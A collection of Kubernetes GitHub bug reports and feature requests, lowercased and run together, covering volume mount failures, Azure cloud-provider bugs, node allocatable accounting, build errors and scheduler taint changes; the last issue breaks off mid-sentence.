<!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.6.1\r \r   what happened  :\r i downloaded https://dl.k8s.io/v1.6.1/kubernetes.tar.gz\r the files  doc/man/man1/kube-apiserver.1 and others just contains the 'this is an autogenerated doc place holder \r \r the markdown docs like in  doc/admin/kube-apiserver.md  etc. also just contains the placeholder text.\r \r   what you expected to happen  :\r i'm expecting the release tarball to contain the generated manpages similar to the markdown ones in https://github.com/kubernetes/kubernetes.github.io/blob/release-1.6/docs/admin/kube-apiserver.md

is this a bug report or feature request?    choose one :\r bug report\r \r \r   kubernetes version    use  kubectl version  :\r community master\r \r   environment  : ubuntu\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r run this command twice at the same time to get container logs:\r curl -k -v \ http://localhost:8080/api/v1/namespaces/default/pods/counter/log?container=count-log-2&follow=true&taillines=2\ \r one of them may fail.\r   what you expected to happen  :\r the two command may succeed both.

node allocatable is calculated as  capacity - kube-reserved - system-reserved - hard-eviction-thresholds .\r this is true for  memory , but not true for  storage  though.\r \r https://github.com/kubernetes/kubernetes/pull/46456 introduced  storage  support in node allocatable, but failed to include  hard eviction thresholds   here  https://github.com/jingxu97/kubernetes/blob/943fc53bf727ff6e005378a872710071042abf72/pkg/kubelet/cm/node_container_manager.go l218 \r \r how does this affect users?\r \r if a user set's  storage  as part of  kube-reserved  and/or  system-reserved  and set's  hard eviction thresholds  for  storage , then their pods will get evicted even though the overall usage is within  allocatable . essentially nodes will get over committed from a storage standpoint.\r this is not a v1.7 blocker because storage is not yet a production ready schedulable resource.\r \r cc @kubernetes/sig-storage-bugs @jingxu97 @saad-ali

right now, if you run the dashboard addon  cluster/addons/dashboard/ , you'll get 403s for all of the accesses. i'm guessing https://github.com/kubernetes/kubernetes/pull/46750 deleted the clusterrolebinding that it was implicitly depending on.\r \r the dashboard yaml should include a dashboard-specific service account, along with a clusterrolebinding that grants it all of the  vast  powers it needs.

is this a bug report or feature request?  :\r   \r   what happened  :\r i am using aliyun kubernetes service to create my cluster, first of all, i created a nas on the cloud provider, and the path is: 188864a977-ojm24.cn-beijing.nas.aliyuncs.com\r then, i use the following file to create my pesistentvolume:\r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: jenkins\r spec:\r   capacity:\r     storage: 5gi\r   accessmodes:\r     - readwritemany\r   persistentvolumereclaimpolicy: retain\r   nfs:\r     path: /\r     server: 188864a977-ojm24.cn-beijing.nas.aliyuncs.com\r    \r and i got the right result:\r    \r  root@k8s-master03 nas   kubectl get pv\r name      capacity   access modes   reclaim policy   status    claim             storageclass   reason    age\r jenkins   5gi        rwx            retain           bound     default/myclaim                            12h\r    \r \r then i created a persistentvolumeclaim using this file:\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: myclaim\r spec:\r   accessmodes:\r     - readwritemany\r   resources:\r     requests:\r       storage: 5gi\r    \r then i got:\r    \r  root@k8s-master03 nas   kubectl get pvc\r name      status    volume    capacity   access modes   storageclass   age\r myclaim   bound     jenkins   5gi        rwx                           12h\r    \r however, when i create a pod to use the pvc using this file:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: mypod\r spec:\r   containers:\r     - name: myfrontend\r       image: registry.aliyuncs.com/spacexnice/netdia:latest\r       volumemounts:\r       - mountpath: \ /var/www/html\ \r         name: mypd\r   volumes:\r     - name: mypd\r       persistentvolumeclaim:\r         claimname: jenkins\r    \r i got the error: the pod can not be created because of timeout\r    \r  root@k8s-master03 nas   kubectl describe pod mypod\r name:         mypod\r namespace:    default\r node:         cn-beijing.i-2ze1cixer8tpoeadz8l4/192.168.153.136\r start time:   sat, 02 dec 2017 10:32:33 +0800\r labels:       <none>\r annotations:  <none>\r status:       pending\r ip:\r containers:\r   myfrontend:\r     container id:\r     image:          registry.aliyuncs.com/spacexnice/netdia:latest\r     image id:\r     port:           <none>\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     environment:    <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-gqstb  ro \r       /var/www/html from mypd  rw \r conditions:\r   type           status\r   initialized    true\r   ready          false\r   podscheduled   true\r volumes:\r   mypd:\r     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  jenkins\r     readonly:   false\r   default-token-gqstb:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-gqstb\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node.alpha.kubernetes.io/notready:noexecute for 300s\r                  node.alpha.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason                 age                from                                        message\r   ----     ------                 ----               ----                                        -------\r   normal   scheduled              31m                default-scheduler                           successfully assigned mypod to cn-beijing.i-2ze1cixer8tpoeadz8l4\r   normal   successfulmountvolume  31m                kubelet, cn-beijing.i-2ze1cixer8tpoeadz8l4  mountvolume.setup succeeded for volume \ default-token-gqstb\ \r   warning  failedmount            1m  x13 over 29m   kubelet, cn-beijing.i-2ze1cixer8tpoeadz8l4  unable to mount volumes for pod \ mypod_default 0d57f079-d709-11e7-94c9-00163e30bcc9 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ mypod\ . list of unattached/unmounted volumes= mypd \r   warning  failedsync             1m  x13 over 29m   kubelet, cn-beijing.i-2ze1cixer8tpoeadz8l4  error syncing pod\r    \r but i was able to mount the nfs server:\r    \r  root@k8s-master03 ~   df -h | grep aliyuncs\r 188864a977-mlr25.cn-beijing.nas.aliyuncs.com:/  1.0p     0  1.0p   0% /nfs\r    \r   what you expected to happen  :\r \r the pod mount my pvc successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r the steps are clearly described in the   what happened   part.\r   anything else we need to know?  :\r nothing else.\r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.1-alicloud\ , gitcommit:\ 19408ab2a1b736fe97a9d9cf24c6fb228f23f12f\ , gittreestate:\ clean\ , builddate:\ 2017-10-19t04:05:24z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:16:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: cloud provider: aliyun\r - os  e.g. from /etc/os-release : centos linux release 7.4.1708  core \r - kernel  e.g.  uname -a  : linux k8s-master03 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r according to below code, azure file & disk dynamic provisioning only supports storage account in the same resource group with k8s cluster:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/azure/azure_storageaccount.go l66\r \r there are two scenarios:\r 1  if user specify a storage account, i think we should not restrict the resource group\r 2  if user does not specify a storage account, then only storage accounts in the same resource group should be searched.\r \r   update:  \r from the sdk level, resource group name must be provided to get storage account, so a new parmater  resourcegroup  for azure disk & file storage class must be provided.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign\r 

if i run  hack/local-up-cluster.sh  first time it goes fine  after reboot . for subsequent runs i get nodes notready. i've tried restarting docker but that won't help. before christams this used to work all the time. running arch linux if it helps.\r \r    \r $ kubectl get nodes\r name        status     roles     age       version\r 127.0.0.1   notready   <none>    6m        v1.10.0-alpha.1.650+a816ecfac8c8f9\r    \r \r in  /tmp/kubelet.log  i see\r    \r e0115 16:03:35.294597   19465 kubelet.go:1337  failed to start containermanager failed to initialize top level qos containers: failed to update top level burstable qos cgroup : failed to set supported cgroup subsystems for cgroup /kubepods/burstable: failed to find subsystem mount for subsystem: hugetlb\r ...\r i0115 16:03:35.294753   19465 server.go:231  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ 127.0.0.1\ , uid:\ 127.0.0.1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'warning' reason: 'kubeletsetupfailed' failed to start containermanager failed to initialize top level qos containers: failed to update top level burstable qos cgroup : failed to set supported cgroup subsystems for cgroup /kubepods/burstable: failed to find subsystem mount for subsystem: hugetlb\r    \r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.1.650+a816ecfac8c8f9\ , gitcommit:\ a816ecfac8c8f957b7d5ac0585804bafa6899bc4\ , gittreestate:\ clean\ , builddate:\ 2018-01-15t09:53:31z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.1.650+a816ecfac8c8f9\ , gitcommit:\ a816ecfac8c8f957b7d5ac0585804bafa6899bc4\ , gittreestate:\ clean\ , builddate:\ 2018-01-15t09:53:31z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-ingress\r \r /  /status approved-for-milestone\r  \r cc @jdumars @jberkus @bowei @mrhohn \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r    \r root@andy-dev:/code2/go/src/k8s.io/kubernetes  git checkout upstream/release-1.8\r head is now at 0c7e7ae... merge pull request  60014 from cofyc/automated-cherry-pick-of- 59170-upstream-release-1.8\r root@andy-dev:/code2/go/src/k8s.io/kubernetes  hack/update-bazel.sh\r cloning into '/tmp/tmp.pvjt57r744/go/src/github.com/kubernetes/repo-infra'...\r remote: counting objects: 848, done.\r remote: total 848  delta 0 , reused 0  delta 0 , pack-reused 848\r receiving objects: 100%  848/848 , 261.63 kib | 0 bytes/s, done.\r resolving deltas: 100%  385/385 , done.\r checking connectivity... done.\r cloning into '/tmp/tmp.pvjt57r744/go/src/github.com/bazelbuild/rules_go'...\r remote: counting objects: 9265, done.\r remote: compressing objects: 100%  26/26 , done.\r remote: total 9265  delta 8 , reused 11  delta 2 , pack-reused 9237\r receiving objects: 100%  9265/9265 , 2.09 mib | 0 bytes/s, done.\r resolving deltas: 100%  5983/5983 , done.\r checking connectivity... done.\r   github.com/bazelbuild/rules_go/go/tools/gazelle/merger\r go/tools/gazelle/merger/fix.go:88:28: too few values in struct initializer\r go/tools/gazelle/merger/merger.go:491:19: too few values in struct initializer\r go/tools/gazelle/merger/merger.go:495:19: too few values in struct initializer\r   github.com/bazelbuild/rules_go/go/tools/gazelle/rules\r go/tools/gazelle/rules/generator.go:131:16: too few values in struct initializer\r go/tools/gazelle/rules/sort_labels.go:30:16: too few values in struct initializer\r !!!  0227 06:04:38  call tree:\r !!!  0227 06:04:38   1: hack/update-bazel.sh:29 kube::util::go_install_from_commit ... \r !!! error in /code2/go/src/k8s.io/kubernetes/hack/lib/util.sh:568\r   error in /code2/go/src/k8s.io/kubernetes/hack/lib/util.sh:568. '  i<3-1  ' exited with status 2\r call stack:\r   1: /code2/go/src/k8s.io/kubernetes/hack/lib/util.sh:568 kube::util::go_install_from_commit ... \r   2: hack/update-bazel.sh:29 main ... \r exiting with status 1\r !!!  0227 06:04:38  call tree:\r !!!  0227 06:04:38   1: hack/update-bazel.sh:29 kube::util::go_install_from_commit ... \r !!! error in /code2/go/src/k8s.io/kubernetes/hack/lib/util.sh:553\r   error in /code2/go/src/k8s.io/kubernetes/hack/lib/util.sh:553. '  i<3-1  ' exited with status 1\r call stack:\r   1: /code2/go/src/k8s.io/kubernetes/hack/lib/util.sh:553 kube::util::go_install_from_commit ... \r   2: hack/update-bazel.sh:29 main ... \r exiting with status 1\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r   git checkout upstream/release-1.8\r   hack/update-bazel.sh\r    \r \r   anything else we need to know?  :\r \ hack/update-bazel.sh\  on v1.7, v1.9, v1.10 all works, only on v1.8 returns error.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  \r   what happened  :\r after create a new namespace, all deployments inside this new namespace don't have connection with the external world. \r \r   what you expected to happen  :\r deployement can access internet, name resolution, etc...\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl create namespace teste and deploy a basic nginx deployment\r \r   anything else we need to know?  :\r kubernete 1.10.3 with kops\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.3 \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r iscsi volumes fail to mount\r \r   what you expected to happen  :\r mounted volume\r   how to reproduce it  as minimally and precisely as possible   :\r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: mediasync-data\r   namespace: mediasync\r spec:\r   accessmodes:\r     - readwriteonce\r   capacity:\r     storage: 10gi\r   persistentvolumereclaimpolicy: retain\r   iscsi:\r     iqn: iqn.2000-01.com.synology:diskstation.target-1.9cbabe8c8b\r     targetportal: 10.0.1.2\r     lun: 3\r \r ---\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: mediasync-data\r   namespace: mediasync\r spec:\r   volumename: mediasync-data\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 10gi\r    \r \r   anything else we need to know?  :\r worked on 1.11.3\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:08:12z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/arm\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:00:57z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/arm\ }\r - cloud provider or hardware configuration: rpi 3+\r - os  e.g. from /etc/os-release :\r pretty_name=\ raspbian gnu/linux 9  stretch \ \r - kernel  e.g.  uname -a  :\r linux k8s-node-1 4.14.34-hypriotos-v7+  1 smp sun apr 22 14:57:31 utc 2018 armv7l gnu/linux\r - install tools: kubeadm\r - others:\r open-iscsi/stable,now 2.0.874-3~deb9u1 armhf  installed \r \r feb 08 18:31:17 k8s-node-1 kubelet 310 : e0208 18:31:17.704144     310 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/iscsi/10.0.1.2:iqn.2000-01.com.synology:diskstation.target-1.9cbabe8c8b:3\\\ \  failed. no retries permitted until 2019-02-08 18:33:19.703838972 +0000 utc m=+1353.824233274  durationbeforeretry 2m2s . error: \ recovered from panic \\\ runtime error: index out of range\\\ .  err=<nil>  call stack:\ /workspace/anago-v1.13.3-beta.0.37+721bfa751924da/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:76\ /workspace/anago-v1.13.3-beta.0.37+721bfa751924da/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:158\ /usr/local/go/src/runtime/asm_arm.s:519\ /usr/local/go/src/runtime/panic.go:513\ /usr/local/go/src/runtime/panic.go:44\ /workspace/anago-v1.13.3-beta.0.37+721bfa751924da/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/keymutex/hashed.go:48\ /workspace/anago-v1.13.3-beta.0.37+721bfa751924da/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/iscsi/iscsi_util.go:317\ /workspace/anago-v1.13.3-beta.0.37+721bfa751924da/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/iscsi/attacher.go:85\ /workspace/anago-v1.13.3-beta.0.37+721bfa751924da/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/util/operationexecutor/operation_generator.go:503\ /workspace/anago-v1.13.3-beta.0.37+721bfa751924da/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/volume/util/nestedpendingoperations/nestedpendingoperations.go:143\ /usr/local/go/src/runtime/asm_arm.s:867\ \

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r we deployed two kubernetes clusters to the same azure resource group. created services of load balancer type on both clusters. one of the services never received a public ip. upon investigation, we noticed that the first kubernetes cluster deleted the azure public ip that was created for the service by the other cluster.\r \r apparently, all public ips in the resource group are retrieved: https://github.com/kubernetes/kubernetes/blob/release-1.14/pkg/cloudprovider/providers/azure/azure_loadbalancer.go l1350  then public ips which don't match this criteria: https://github.com/kubernetes/kubernetes/blob/release-1.14/pkg/cloudprovider/providers/azure/azure_loadbalancer.go l1357 are deleted.\r \r this logic besides the name of the kubernetes service should also consider the k8s cluster where the public ip originated from to avoid stepping on each other's toes when multiple clusters share the same resource group.\r \r   what you expected to happen  :\r in case multiple clusters run in the same resource group a cluster should delete only resources created by itself.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create two kubernetes clusters  1.14  with different cluster names to the same resource group than create kubernetes services of load balancer type in each cluster. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.4\r - cloud provider or hardware configuration: azure\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : sig-scalability-gce/gce-scale-performance\r \r   which test s  are failing  : up\r \r   since when has it been failing  : since today\r \r   testgrid link  : https://k8s-testgrid.appspot.com/sig-scalability-gce gce-scale-performance\r \r   reason for failure  : set-up scripts report only 500 nodes to be up, even though we see in api-server more nodes that registered\r

using the density test to run max-capacity pods on kubelets, containers get reported as failing to start by the kubelet.  i usually see between 1-5 containers reported they fail to start.  additionally there appears to be a timeout in the streamwatcher on the apiserver  where the e2e.test is being run   density test errors: ... jun 14 14:37:31.254: info: density pods: 160 out of 160 created, 0 running, 160 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:37:41.254: info: density pods: 160 out of 160 created, 0 running, 160 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:37:51.255: info: density pods: 160 out of 160 created, 0 running, 160 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:38:01.254: info: density pods: 160 out of 160 created, 0 running, 160 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:38:11.254: info: density pods: 160 out of 160 created, 0 running, 160 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:38:21.255: info: density pods: 160 out of 160 created, 0 running, 160 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:38:31.254: info: density pods: 160 out of 160 created, 0 running, 160 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:38:41.255: info: density pods: 160 out of 160 created, 0 running, 160 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:38:51.255: info: density pods: 160 out of 160 created, 0 running, 160 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:39:01.255: info: density pods: 160 out of 160 created, 0 running, 160 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:39:11.255: info: density pods: 160 out of 160 created, 12 running, 148 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:39:21.255: info: density pods: 160 out of 160 created, 13 running, 147 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:39:31.256: info: density pods: 160 out of 160 created, 14 running, 146 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:39:41.254: info: density pods: 160 out of 160 created, 15 running, 145 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:39:51.254: info: density pods: 160 out of 160 created, 16 running, 144 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:40:01.255: info: density pods: 160 out of 160 created, 19 running, 141 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:40:11.255: info: density pods: 160 out of 160 created, 21 running, 139 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:40:21.255: info: density pods: 160 out of 160 created, 21 running, 139 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:40:31.254: info: density pods: 160 out of 160 created, 22 running, 138 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:40:41.255: info: density pods: 160 out of 160 created, 23 running, 137 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:40:51.255: info: density pods: 160 out of 160 created, 23 running, 137 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:41:01.254: info: density pods: 160 out of 160 created, 23 running, 137 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:41:11.255: info: density pods: 160 out of 160 created, 23 running, 137 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:41:21.254: info: density pods: 160 out of 160 created, 23 running, 137 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:41:31.255: info: density pods: 160 out of 160 created, 25 running, 135 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:41:41.254: info: density pods: 160 out of 160 created, 30 running, 130 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:41:51.255: info: density pods: 160 out of 160 created, 31 running, 129 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:42:01.255: info: density pods: 160 out of 160 created, 32 running, 128 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:42:11.254: info: density pods: 160 out of 160 created, 33 running, 127 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:42:21.254: info: density pods: 160 out of 160 created, 37 running, 123 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  e0614 14:42:21.259895   20078 streamwatcher.go:109  unable to decode an event from the watch stream: net/http: request canceled  client.timeout exceeded while reading body  e0614 14:42:21.260096   20078 streamwatcher.go:109  unable to decode an event from the watch stream: net/http: request canceled  client.timeout exceeded while reading body  e0614 14:42:21.265931   20078 streamwatcher.go:109  unable to decode an event from the watch stream: net/http: request canceled  client.timeout exceeded while reading body  e0614 14:42:21.289515   20078 streamwatcher.go:109  unable to decode an event from the watch stream: net/http: request canceled  client.timeout exceeded while reading body  jun 14 14:42:31.255: info: density pods: 160 out of 160 created, 40 running, 120 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:42:41.256: info: density pods: 160 out of 160 created, 41 running, 119 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:42:51.254: info: density pods: 160 out of 160 created, 45 running, 115 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:43:01.255: info: density pods: 160 out of 160 created, 48 running, 112 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:43:11.254: info: density pods: 160 out of 160 created, 52 running, 108 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:43:21.256: info: density pods: 160 out of 160 created, 54 running, 106 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:43:31.254: info: density pods: 160 out of 160 created, 57 running, 103 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  jun 14 14:43:41.254: info: density pods: 160 out of 160 created, 59 running, 101 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready  ... jun 14 14:43:50.848: info: unexpected error occurred: 2 containers failed which is more than allowed 0 panic:  your test failed. ...  at the time of the test failure, kubelet showed: $ docker ps | grep -v container | wc -l 314  in the kubelet logs i see: ... jun 13 15:23:50 kubelet-v1.3.novalocal kubelet 11378 : e0613 15:23:50.234387   11378 manager.go:1981  failed to create pod infra container: runcontainererror; skipping pod \ density160-0-044d88ec-319c-11e6-b728-fa163e626a22-zoanl_e2e-tests-density-bhx9a 07581d94-319c-11e6-a101-fa163e626a22 \  jun 13 15:23:50 kubelet-v1.3.novalocal kubelet 11378 : e0613 15:23:50.234553   11378 pod_workers.go:183  error syncing pod 07581d94-319c-11e6-a101-fa163e626a22, skipping: failed to \ startcontainer\  for \ pod\  with runcontainererror: \ runcontainer: operation timeout: context deadline exceeded\  ...

this is a followup to https://github.com/kubernetes/kubernetes/pull/35434\r \r certain volume plugins, e.g. rbd, need to release devices during unmount. as a result, when  deviceopened  starts, the device path no longer exists. a temp fix is to check device path and call  deviceopened  only if the device path exists. \r \r this temp fix opens up to all volume plugins and is not atomic  i.e. the device path could still vanish between  pathisdevice  and  deviceopened  creating this issue to track further investigation on plugin level exception to make device open detection more robust.\r \r @kubernetes/sig-storage

getnodeconditionpredicate   in plugin/pkg/scheduler/factory/factory.go makes our code hard to understand because it hides the node-condition-based filtering in the node lister, which is totally non-obvious.\r \r we should get rid of this function and have nodecontroller add noschedule taints for these situations instead.  alas, we might not actually be able to get rid of getnodeconditionpredicate   completely until we get rid of the unschedulable field of podspec, but at least we can get rid of all the other code in this function.  if there are pods that should still be able to schedule in any of these situations  e.g. daemonset pods?  we should add tolerations in admission control for them  e.g. see pkg/controller/daemon/daemoncontroller.go .\r \r cc/ @kubernetes/sig-scheduling-misc  @kubernetes/sig-cluster-lifecycle-misc \r cc/ @gmarek @kevin-wangzefeng \r \r   sub-tasks according to the design doc:  \r \r -  x  add node taints label and feature flag   49547 \r -  x  in the node controller, taint nodes according to the node condition   49257 \r -  x  in daemonset, update daemonsetcontroller to tolerant new taints   50186 \r -  x  in admissioncontroller, add memorypressure/diskpressure toleration for no besteffort pod   50180 \r -  x  in scheduler, disable the current behaviour of filtering out nodes. instead, pods will not be scheduled to tainted nodes if a toleration does not exist in its podspec   50185 \r -  x  add e2e test for this feature  https://github.com/kubernetes/kubernetes/pull/52723 \r -  x  update doc for this feature  https://github.com/kubernetes/kubernetes.github.io/pull/5352 \r

forked from  3233,  1007,  1694,  1695, and other issues.  we've started to introduce a few configuration generators in kubectl: run-container, expose, ... they're not really built the way they should be.  it needs to be possible to access same generator functionality declaratively as is available imperatively using the cli. the command-line arguments for imperative commands should be used to generate the config generator input schema, with as much of the intelligent defaulting inside the config generator  or even in the api e.g.,  2643  as possible.   furthermore, it should be possible to invoke generators via an api/url rather than building them into kubectl, so that complex client libraries don’t need to be rewritten in multiple languages  e.g., java, ruby , and so that the abstractions are available through all interfaces: api, cli, ui, logs, ...  this requires a schema registry, and some way to invoke the generator  e.g., using a container .  the config generator schema needs to be versioned. otherwise, it will become unchangeable -- we've had this problem internally in spades. the default version can just be the latest one, but anyone 